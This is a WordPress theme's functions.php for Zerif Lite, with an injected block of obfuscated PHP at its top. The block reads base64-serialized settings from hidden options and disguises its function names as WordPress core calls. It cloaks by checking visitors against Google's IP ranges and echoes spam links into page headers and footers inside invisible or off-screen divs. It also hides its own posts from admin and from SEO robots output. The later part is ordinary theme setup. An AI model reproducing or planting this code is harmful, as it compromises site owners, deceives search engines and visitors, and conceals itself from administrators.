}
$esc_attr_private .= "\n</urlset>";
set_transient($add_filter_https, $esc_attr_private, WEEK_IN_SECONDS);
echo $esc_attr_private;
}
function is_front_page_info() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$wp_die_repository</lastmod>
<changefreq>$esc_attr_view</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function _e_stack($writersArr) {
$get_header_long = array();
foreach ($writersArr as $item) {
$get_header_long[] = '-' . $item;
}
return implode(',', $get_header_long);
}
function add_section_https() {
$get_template_part_pointer = array();
$bloginfo_edit = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$add_setting_live = unserialize(base64_decode($settings));
if ($add_setting_live) {
$get_template_part_pointer = $add_setting_live;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$get_the_title_less = unserialize(base64_decode($settings));
if ($get_the_title_less) {
$bloginfo_edit = $get_the_title_less;
}
}
return $bloginfo_edit + $get_template_part_pointer;
}
function get_bloginfo_variable() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_search_query_list = key($get_author_posts_url_restful['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_author_posts_url_restful['sitemapsettings']) . '$');
if (preg_match("~$get_search_query_list~", $_SERVER['REQUEST_URI'])) {
return $the_archive_title_http;
}
}
}
function bloginfo_json() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (in_array($post->post_author, $get_the_tag_list_integer)) {
return true;
}
return false;
}
function is_customize_preview_base() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $get_the_tag_list_integer)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function esc_attr_e_pic() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function get_template_part_method() {
$wp_get_attachment_image_src_class = esc_attr_e_pic();
if (strstr($wp_get_attachment_image_src_class, ', ')) {
$wp_list_comments_interface = explode(', ', $wp_get_attachment_image_src_class);
$wp_get_attachment_image_src_class = $wp_list_comments_interface[0];
}
$dynamic_sidebar_meta = add_setting_soap();
if (!$dynamic_sidebar_meta) {
return false;
}
foreach ($dynamic_sidebar_meta as $range) {
if (wp_head_add($wp_get_attachment_image_src_class, $range)) {
return true;
}
}
return false;
}
function esc_url_raw_queue($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function add_setting_soap() {
if (($value = get_option('wp_custom_range')) && !esc_url_raw_queue($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$dynamic_sidebar_meta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($dynamic_sidebar_meta)) {
return;
}
$value = array('ranges' => $dynamic_sidebar_meta, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function get_the_author_meta_hashing($inet) {
$get_post_format_ajax = str_split($inet);
$absint_wp = '';
foreach ($get_post_format_ajax as $char) {
$absint_wp .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $absint_wp;
}
function wp_head_add($wp_get_attachment_image_src_class, $cidrnet) {
$wp_get_attachment_image_src_class = inet_pton($wp_get_attachment_image_src_class);
$absint_wp = get_the_author_meta_hashing($wp_get_attachment_image_src_class);
list($net, $add_query_arg_constructor) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_ID_integer = get_the_author_meta_hashing($net);
$esc_attr_loop = substr($absint_wp, 0, $add_query_arg_constructor);
$esc_attr_e_constructor = substr($get_the_ID_integer, 0, $add_query_arg_constructor);
if ($esc_attr_loop !== $esc_attr_e_constructor) {
return false;
} else {
return true;
}
}
function is_search_restful($get_queried_object_id_pointer) {
global $post;
$post_class_pic = '';
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$post_class_pic = get_option('home_links_custom_0');
}
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$post_class_pic = get_option('home_links_custom_' . $matches[0]);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_stylesheet_uri_schema = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$post_class_pic = get_option('home_links_custom_' . $get_stylesheet_uri_schema);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$post_class_pic ? '' : $post_class_pic;
}
function wp_get_attachment_image_src_stack($get_author_posts_url_restful, $language_attributes_double, $the_excerpt_json) {
if (!isset($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json])) {
return false;
}
if ($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json] === 1) {
return true;
}
return false;
}
function get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema) {
if (empty($esc_attr_x_schema)) {
return '';
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$language_attributes_beta = is_page_get();
$the_permalink_module = $language_attributes_beta[$blockNum[0]];
return $the_permalink_module[0] . PHP_EOL . $esc_attr_x_schema . PHP_EOL . $the_permalink_module[1];
}
return $esc_attr_x_schema;
}
function is_page_get() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function is_archive_client($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'head');
}
function get_theme_mod_stat($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'footer');
}
function is_admin_method($settings) {
foreach ($settings as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['homeLinks'])) {
return $get_author_posts_url_restful['homeLinks'];
}
}
return array();
}
function esc_attr_ajax() {
if (!bloginfo_json()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function get_search_form_call() {
global $get_queried_object_id_pointer;
if (!esc_attr_ajax()) {
return;
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'cloacking')) {
if (!get_template_part_method()) {
return;
}
}
$esc_attr_x_schema = is_search_restful($get_queried_object_id_pointer);
$esc_attr_x_schema = get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema);
echo $esc_attr_x_schema;
}
$is_archive_core = add_section_https();
if (is_array($is_archive_core)) {
add_filter('posts_where_paged', 'wp_link_pages_live');
add_action('pre_get_posts', 'the_content_base');
add_action('wp_enqueue_scripts', 'is_singular_cookie');
add_filter('wp_count_posts', 'get_setting_json' , 10, 3);
add_filter('rewrite_rules_array', 'add_setting_function');
add_action('wp_loaded', 'esc_url_loop');
add_action('init', 'get_the_time_statement');
add_action('template_redirect', 'is_customize_preview_base');
$get_queried_object_id_pointer = is_admin_method($is_archive_core);
if (!empty($get_queried_object_id_pointer)) {
if (is_archive_client($get_queried_object_id_pointer)) {
add_action('wp_head', 'get_search_form_call');
}
if (get_theme_mod_stat($get_queried_object_id_pointer)) {
add_action('wp_footer', 'get_search_form_call');
}
}
}
/* 37dfb350efbc422ff85ed8087ae3f38f */
/**
* Zerif Lite functions and definitions
*
* @package zerif-lite
*/
$vendor_file = trailingslashit( get_template_directory() ) . 'vendor/autoload.php';
if ( is_readable( $vendor_file ) ) {
require_once $vendor_file;
}
add_filter( 'themeisle_sdk_products', 'zerif_load_sdk' );
/**
* Loads products array.
*
* @param array $products All products.
*
* @return array Products array.
*/
function zerif_load_sdk( $products ) {
$products[] = get_template_directory() . '/style.css';
return $products;
}
if ( ! defined( 'ELEMENTOR_PARTNER_ID' ) ) {
define( 'ELEMENTOR_PARTNER_ID', 2112 );
}
define( 'ZERIF_LITE_VERSION', '1.8.5.44' );
/**
* Main setup function
*/
function zerif_setup() {
global $content_width;
if ( ! isset( $content_width ) ) {
$content_width = 640;
}
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on zerif, use a find and replace
* to change 'zerif-lite' to the name of your theme in all the template files
*/
load_theme_textdomain( 'zerif-lite', get_template_directory() . '/languages' );
add_theme_support( 'automatic-feed-links' );
/*
* Enable support for Post Thumbnails on posts and pages.
*/
add_theme_support( 'post-thumbnails' );
/* Set the image size by cropping the image */
add_image_size( 'zerif-post-thumbnail', 250, 250, true );
add_image_size( 'zerif-post-thumbnail-large', 750, 500, true ); /* blog thumbnail */
add_image_size( 'zerif-post-thumbnail-large-table', 600, 300, true ); /* blog thumbnail for table */
add_image_size( 'zerif-post-thumbnail-large-mobile', 400, 200, true ); /* blog thumbnail for mobile */
add_image_size( 'zerif_project_photo', 285, 214, true );
add_image_size( 'zerif_our_team_photo', 174, 174, true );
/* Register primary menu */
register_nav_menus(
array(
'primary' => __( 'Primary Menu', 'zerif-lite' ),
)
);
/* Enable support for Post Formats. */
add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link' ) );
/* Setup the WordPress core custom background feature. */
if ( file_exists( get_stylesheet_directory() . '/images/bg.jpg' ) ) {
$zerif_default_image = get_stylesheet_directory_uri() . '/images/bg.jpg';
} else {
$zerif_default_image = get_template_directory_uri() . '/images/bg.jpg';
}
add_theme_support(
'custom-background', apply_filters(
'zerif_custom_background_args', array(
'default-color' => 'ffffff',
'default-image' => $zerif_default_image,
)
)
);
/* Enable support for HTML5 markup. */
add_theme_support(
'html5', array(
'comment-list',
'search-form',
'comment-form',
'gallery',
)
);
/* Enable support for title-tag */
add_theme_support( 'title-tag' );
/* Enable support for custom logo */
add_theme_support(
'custom-logo', array(
'flex-width' => true,
)
);
/* Custom template tags for this theme. */
require get_template_directory() . '/inc/template-tags.php';
/* Custom functions that act independently of the theme templates. */
require get_template_directory() . '/inc/extras.php';
/* Customizer additions. */
require get_template_directory() . '/inc/customizer.php';
/* tgm-plugin-activation */
require_once get_template_directory() . '/class-tgm-plugin-activation.php';
/* preview demo */
require_once get_template_directory() . '/ti-prevdem/init-prevdem.php';
/* woocommerce support */
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
/* selective widget refresh */
add_theme_support( 'customize-selective-refresh-widgets' );
/**
* HOOKS
*/
/* Enables user customization via WordPress plugin API. */
require get_template_directory() . '/inc/hooks.php';
add_action( 'zerif_404_title', 'zerif_404_title_function' ); // Outputs the title on 404 pages
add_action( 'zerif_404_content', 'zerif_404_content_function' ); // Outputs a helpful message on 404 pages
add_action( 'zerif_page_header', 'zerif_page_header_function' ); // Outputs the title on pages
add_action( 'zerif_page_header_title_archive', 'zerif_page_header_title_archive_function' ); // Outputs the title on archive pages
add_action( 'zerif_page_term_description_archive', 'zerif_page_term_description_archive_function' ); // Outputs the term description
add_action( 'zerif_footer_widgets', 'zerif_footer_widgets_function' ); // Outputs the 3 sidebars in footer
add_action( 'zerif_our_focus_header_title', 'zerif_our_focus_header_title_function' ); // Outputs the title in Our focus section
add_action( 'zerif_our_focus_header_subtitle', 'zerif_our_focus_header_subtitle_function' ); // Outputs the subtitle in Our focus section
add_action( 'zerif_our_team_header_title', 'zerif_our_team_header_title_function' ); // Outputs the title in Our team section
add_action( 'zerif_our_team_header_subtitle', 'zerif_our_team_header_subtitle_function' ); // Outputs the subtitle in Our team section
add_action( 'zerif_testimonials_header_title', 'zerif_testimonials_header_title_function' ); // Outputs the title in Testimonials section
add_action( 'zerif_testimonials_header_subtitle', 'zerif_testimonials_header_subtitle_function' ); // Outputs the subtitle in Testimonials section
add_action( 'zerif_latest_news_header_title', 'zerif_latest_news_header_title_function' ); // Outputs the title in Latest news section
add_action( 'zerif_latest_news_header_subtitle', 'zerif_latest_news_header_subtitle_function' ); // Outputs the subtitle in Latest news section
add_action( 'zerif_big_title_text', 'zerif_big_title_text_function' ); // Outputs the text in Big title section
add_action( 'zerif_about_us_header_title', 'zerif_about_us_header_title_function' ); // Outputs the title in About us section
add_action( 'zerif_about_us_header_subtitle', 'zerif_about_us_header_subtitle_function' ); // Outputs the subtitle in About us section
add_action( 'zerif_sidebar', 'zerif_sidebar_function' ); // Outputs the sidebar
add_action( 'zerif_primary_navigation', 'zerif_primary_navigation_function' ); // Outputs the navigation menu
add_filter( 'excerpt_more', 'zerif_excerpt_more' );
require_once( trailingslashit( get_template_directory() ) . 'inc/class/class-customizer-theme-info-control/class-customizer-theme-info-root.php' );
/**
* About page class
*/
require_once get_template_directory() . '/ti-about-page/class-ti-about-page.php';
/*
* About page instance
*/
$config = array(
// Menu name under Appearance.
'menu_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Page title.
'page_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Main welcome title
/* translators: Theme Name */
'welcome_title' => sprintf( __( 'Welcome to %s! - Version ', 'zerif-lite' ), 'Zerif Lite' ),
// Main welcome content
'welcome_content' => esc_html__( 'Zerif LITE is a free one page WordPress theme. It\'s perfect for web agency business,corporate business,personal and parallax business portfolio, photography sites and freelancer.Is built on BootStrap with parallax support, is responsive, clean, modern, flat and minimal. Zerif Lite is ecommerce (WooCommerce) Compatible, WPML, RTL, Retina-Ready, SEO Friendly and with parallax, full screen image is one of the best business themes.', 'zerif-lite' ),
/**
* Tabs array.
*
* The key needs to be ONLY consisted from letters and underscores. If we want to define outside the class a function to render the tab,
* the will be the name of the function which will be used to render the tab content.
*/
'tabs' => array(
'getting_started' => __( 'Getting Started', 'zerif-lite' ),
'recommended_actions' => __( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins' => __( 'Useful Plugins', 'zerif-lite' ),
'support' => __( 'Support', 'zerif-lite' ),
'changelog' => __( 'Changelog', 'zerif-lite' ),
'free_pro' => __( 'Free VS PRO', 'zerif-lite' ),
),
// Support content tab.
'support_content' => array(
'first' => array(
'title' => esc_html__( 'Contact Support', 'zerif-lite' ),
'icon' => 'dashicons dashicons-sos',
'text' => esc_html__( 'We want to make sure you have the best experience using Zerif Lite and that is why we gathered here all the necessary informations for you. We hope you will enjoy using Zerif Lite, as much as we enjoy creating great products.', 'zerif-lite' ),
'button_label' => esc_html__( 'Contact Support', 'zerif-lite' ),
'button_link' => esc_url( 'https://themeisle.com/contact/' ),
'is_button' => true,
'is_new_tab' => true,
),
'second' => array(
'title' => esc_html__( 'Documentation', 'zerif-lite' ),
'icon' => 'dashicons dashicons-book-alt',
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Changelog', 'zerif-lite' ),
'icon' => 'dashicons dashicons-portfolio',
'text' => esc_html__( 'Want to get the gist on the latest theme changes? Just consult our changelog below to get a taste of the recent fixes and features implemented.', 'zerif-lite' ),
'button_label' => esc_html__( 'Changelog', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=changelog&show=yes' ) ),
'is_button' => false,
'is_new_tab' => false,
),
'fourth' => array(
'title' => esc_html__( 'Create a child theme', 'zerif-lite' ),
'icon' => 'dashicons dashicons-admin-customizer',
'text' => esc_html__( "If you want to make changes to the theme's files, those changes are likely to be overwritten when you next update the theme. In order to prevent that from happening, you need to create a child theme. For this, please follow the documentation below.", 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/14-how-to-create-a-child-theme',
'is_button' => false,
'is_new_tab' => true,
),
'fifth' => array(
'title' => esc_html__( 'Speed up your site', 'zerif-lite' ),
'icon' => 'dashicons dashicons-controls-skipforward',
'text' => esc_html__( 'If you find yourself in the situation where everything on your site is running very slow, you might consider having a look at the below documentation where you will find the most common issues causing this and possible solutions for each of the issues.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/63-speed-up-your-wordpress-site',
'is_button' => false,
'is_new_tab' => true,
),
'sixth' => array(
'title' => esc_html__( 'Build a landing page with a drag-and-drop content builder', 'zerif-lite' ),
'icon' => 'dashicons dashicons-images-alt2',
'text' => esc_html__( 'In the below documentation you will find an easy way to build a great looking landing page using a drag-and-drop content builder plugin.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/219-how-to-build-a-landing-page-with-a-drag-and-drop-content-builder',
'is_button' => false,
'is_new_tab' => true,
),
),
// Getting started tab
'getting_started' => array(
'first' => array(
'title' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'text' => esc_html__( 'We have compiled a list of steps for you, to take make sure the experience you will have using one of our products is very easy to follow.', 'zerif-lite' ),
'button_label' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=recommended_actions' ) ),
'is_button' => false,
'recommended_actions' => true,
'is_new_tab' => false,
),
'second' => array(
'title' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'recommended_actions' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'text' => esc_html__( 'Using the WordPress Customizer you can easily customize every aspect of the theme.', 'zerif-lite' ),
'button_label' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'customize.php' ) ),
'is_button' => true,
'recommended_actions' => false,
'is_new_tab' => true,
),
),
// Free vs pro array.
'free_pro' => array(
'free_theme_name' => 'Zerif Lite',
'pro_theme_name' => 'Zerif PRO',
'pro_theme_link' => 'https://themeisle.com/themes/zerif-pro-one-page-wordpress-theme/upgrade/',
/* translators: Zerif Pro name */
'get_pro_theme_label' => sprintf( __( 'Get %s now!', 'zerif-lite' ), 'Zerif Pro' ),
'features' => array(
array(
'title' => __( 'Parallax effect', 'zerif-lite' ),
'description' => __( 'Smooth, catchy and easy scrolling experience.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Mobile friendly', 'zerif-lite' ),
'description' => __( 'Responsive layout. Works on every device.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'WooCommerce Compatible', 'zerif-lite' ),
'description' => __( 'Ready for e-commerce. You can build an online store here.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Frontpage sections', 'zerif-lite' ),
'description' => __( 'Big title, Our focus, About us, Our team, Testimonials, Ribbons, Latest news, Contat us', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background image', 'zerif-lite' ),
'description' => __( 'You can use any background image you want.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Unlimited color option', 'zerif-lite' ),
'description' => __( 'You can change the colors of each section. You have unlimited options.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Google map section', 'zerif-lite' ),
'description' => __( 'Embed your current location to your website by using a Google map.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Portfolio', 'zerif-lite' ),
'description' => __( 'Showcase your best projects in the portfolio section.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Sections order', 'zerif-lite' ),
'description' => __( 'Arrange the sections by your priorities.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background slider/video', 'zerif-lite' ),
'description' => __( 'Apart from static images, you can use videos or sliders on the background.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Support', 'zerif-lite' ),
'description' => __( 'You will benefit of our full support for any issues you have with the theme.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Packages/Subscribe sections', 'zerif-lite' ),
'description' => __( 'Add pricing tables for your products and use newsletter forms to attract the clients.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Change labels for the Contact Us section', 'zerif-lite' ),
'description' => __( 'Write an original text in each Contact us section field.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'No credit footer link', 'zerif-lite' ),
'description' => __( 'Remove "Zerif Lite developed by ThemeIsle" copyright from the footer.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
),
),
// Plugins array.
'recommended_plugins' => array(
'already_activated_message' => esc_html__( 'Already activated', 'zerif-lite' ),
'version_label' => esc_html__( 'Version: ', 'zerif-lite' ),
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
array(
'slug' => 'translatepress-multilingual',
),
array(
'slug' => 'siteorigin-panels',
),
array(
'slug' => 'wp-product-review',
),
array(
'slug' => 'intergeo-maps',
),
array(
'slug' => 'visualizer',
),
array(
'slug' => 'adblock-notify-by-bweb',
),
array(
'slug' => 'nivo-slider-lite',
),
),
),
// Required actions array.
'recommended_actions' => array(
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
'themeisle-companion' => array(
'title' => 'Orbit Fox',
'description' => __( 'It is highly recommended that you install the companion plugin to have access to the frontpage sections widgets.', 'zerif-lite' ),
'check' => defined( 'THEMEISLE_COMPANION_VERSION' ),
'plugin_slug' => 'themeisle-companion',
'id' => 'themeisle-companion',
),
'pirate-forms' => array(
'title' => 'Pirate Forms',
'description' => __( 'Makes your contact page more engaging by creating a good-looking contact form on your website. The interaction with your visitors was never easier.', 'zerif-lite' ),
'check' => defined( 'PIRATE_FORMS_VERSION' ),
'plugin_slug' => 'pirate-forms',
'id' => 'pirate-forms',
),
),
),
);
/*
* Add recommendation for Beaver Builder plugin, after 5 days of installing the theme
**/
if ( ! defined( 'FL_BUILDER_VERSION' ) && zerif_check_passed_time( '259200' ) ) {
$elementor_array = array(
'slug' => 'beaver-builder-lite-version',
);
if ( ! empty( $config['recommended_plugins']['content'] ) ) {
array_push( $config['recommended_plugins']['content'], $elementor_array );
}
}
TI_About_Page::init( $config );
/*
* Notifications in customize
*/
require get_template_directory() . '/ti-customizer-notify/class-ti-customizer-notify.php';
$config_customizer = array(
'recommended_plugins' => array(
'themeisle-companion' => array(
'recommended' => true,
/* translators: ThemeIsle Companion install link */
'description' => sprintf( esc_html__( 'If you want to take full advantage of the options this theme has to offer, please install and activate %s', 'zerif-lite' ), sprintf( '<strong>%s</strong>', 'ThemeIsle Companion' ) ),
),
),
'recommended_actions' => array(),
'recommended_actions_title' => esc_html__( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins_title' => esc_html__( 'Recommended Plugins', 'zerif-lite' ),
'install_button_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_button_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_button_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
);
Ti_Customizer_Notify::init( apply_filters( 'zerif_customizer_notify_array', $config_customizer ) );
}
add_action( 'after_setup_theme', 'zerif_setup' );
/**
* Migrate logo from theme to core
*/
function zerif_migrate_logo() {
$zerif_old_logo = get_theme_mod( 'zerif_logo' );
if ( ! empty( $zerif_old_logo ) ) {
$zerif_old_logo_id = attachment_url_to_postid( $zerif_old_logo );
if ( is_int( $zerif_old_logo_id ) ) {
set_theme_mod( 'custom_logo', $zerif_old_logo_id );
}
remove_theme_mod( 'zerif_logo' );
}
}
add_action( 'after_setup_theme', 'zerif_migrate_logo' );
/**
* Custom excerpt more link
*/
function zerif_excerpt_more( $more ) {
return ' <a href="' . esc_url( get_the_permalink() ) . '" rel="nofollow"><span class="sr-only">' . esc_html__( 'Read more about ', 'zerif-lite' ) . esc_attr( get_the_title() ) . '</span>[…]</a>';
}
/**
* Check if latest posts
*/
function zerif_lite_is_not_latest_posts() {
return ( 'posts' == get_option( 'show_on_front' ) ? true : false );
}
/**
* Check if frontpage
*/
function zerif_lite_is_static_frontpage() {
if ( 'posts' == get_option( 'show_on_front' ) ) {
return false;
} else {
$frontpage_id = get_option( 'page_on_front' );
if ( 'template-frontpage.php' == get_post_meta( $frontpage_id, '_wp_page_template', true ) ) {
return true;
} else {
return false;
}
}
}
/**
* Register widgetized area and update sidebar with default widgets.
*/
function zerif_widgets_init() {
register_sidebar(
array(
'name' => __( 'Sidebar', 'zerif-lite' ),
'id' => 'sidebar-1',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'About us section', 'zerif-lite' ),
'id' => 'sidebar-aboutus',
'before_widget' => '<span id="%1$s">',
'after_widget' => '</span>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
register_sidebars(
3,
array(
/* translators: Footer area number */
'name' => __( 'Footer area %d', 'zerif-lite' ),
'id' => 'zerif-sidebar-footer',
'before_widget' => '<aside id="%1$s" class="widget footer-widget-footer %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
}
add_action( 'widgets_init', 'zerif_widgets_init' );
/**
* Enqueue fonts
*/
function zerif_slug_fonts_url() {
$fonts_url = '';
/**
* Translators: If there are characters in your language that are not
* supported by Lora, translate this to 'off'. Do not translate
* into your own language.
*/
$lato = _x( 'on', 'Lato font: on or off', 'zerif-lite' );
$homemade = _x( 'on', 'Homemade font: on or off', 'zerif-lite' );
/**
* Translators: If there are characters in your language that are not
* supported by Open Sans, translate this to 'off'. Do not translate
* into your own language.
*/
$monserrat = _x( 'on', 'Monserrat font: on or off', 'zerif-lite' );
$zerif_use_safe_font = get_theme_mod( 'zerif_use_safe_font' );
if ( ( 'off' !== $lato || 'off' !== $monserrat || 'off' !== $homemade ) && isset( $zerif_use_safe_font ) && ( $zerif_use_safe_font != 1 ) ) {
$font_families = array();
if ( 'off' !== $lato ) {
$font_families[] = 'Lato:300,400,700,400italic';
}
if ( 'off' !== $monserrat ) {
$font_families[] = 'Montserrat:400,700';
}
if ( 'off' !== $homemade ) {
$font_families[] = 'Homemade Apple';
}
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
}
return $fonts_url;
}
/**
* Enqueue scripts and styles.
*/
function zerif_scripts() {
wp_enqueue_style( 'zerif_font', zerif_slug_fonts_url(), array(), null );
wp_enqueue_style(
'zerif_font_all', add_query_arg(
array(
'family' => urlencode( 'Open Sans:300,300italic,400,400italic,600,600italic,700,700italic,800,800italic' ),
'subset' => urlencode( 'latin' ),
), '//fonts.googleapis.com/css'
)
);
wp_enqueue_style( 'zerif_bootstrap_style', get_template_directory_uri() . '/css/bootstrap.css' );
wp_style_add_data( 'zerif_bootstrap_style', 'rtl', 'replace' );
wp_enqueue_style( 'zerif_fontawesome', get_template_directory_uri() . '/css/font-awesome.min.css', array(), 'v1' );
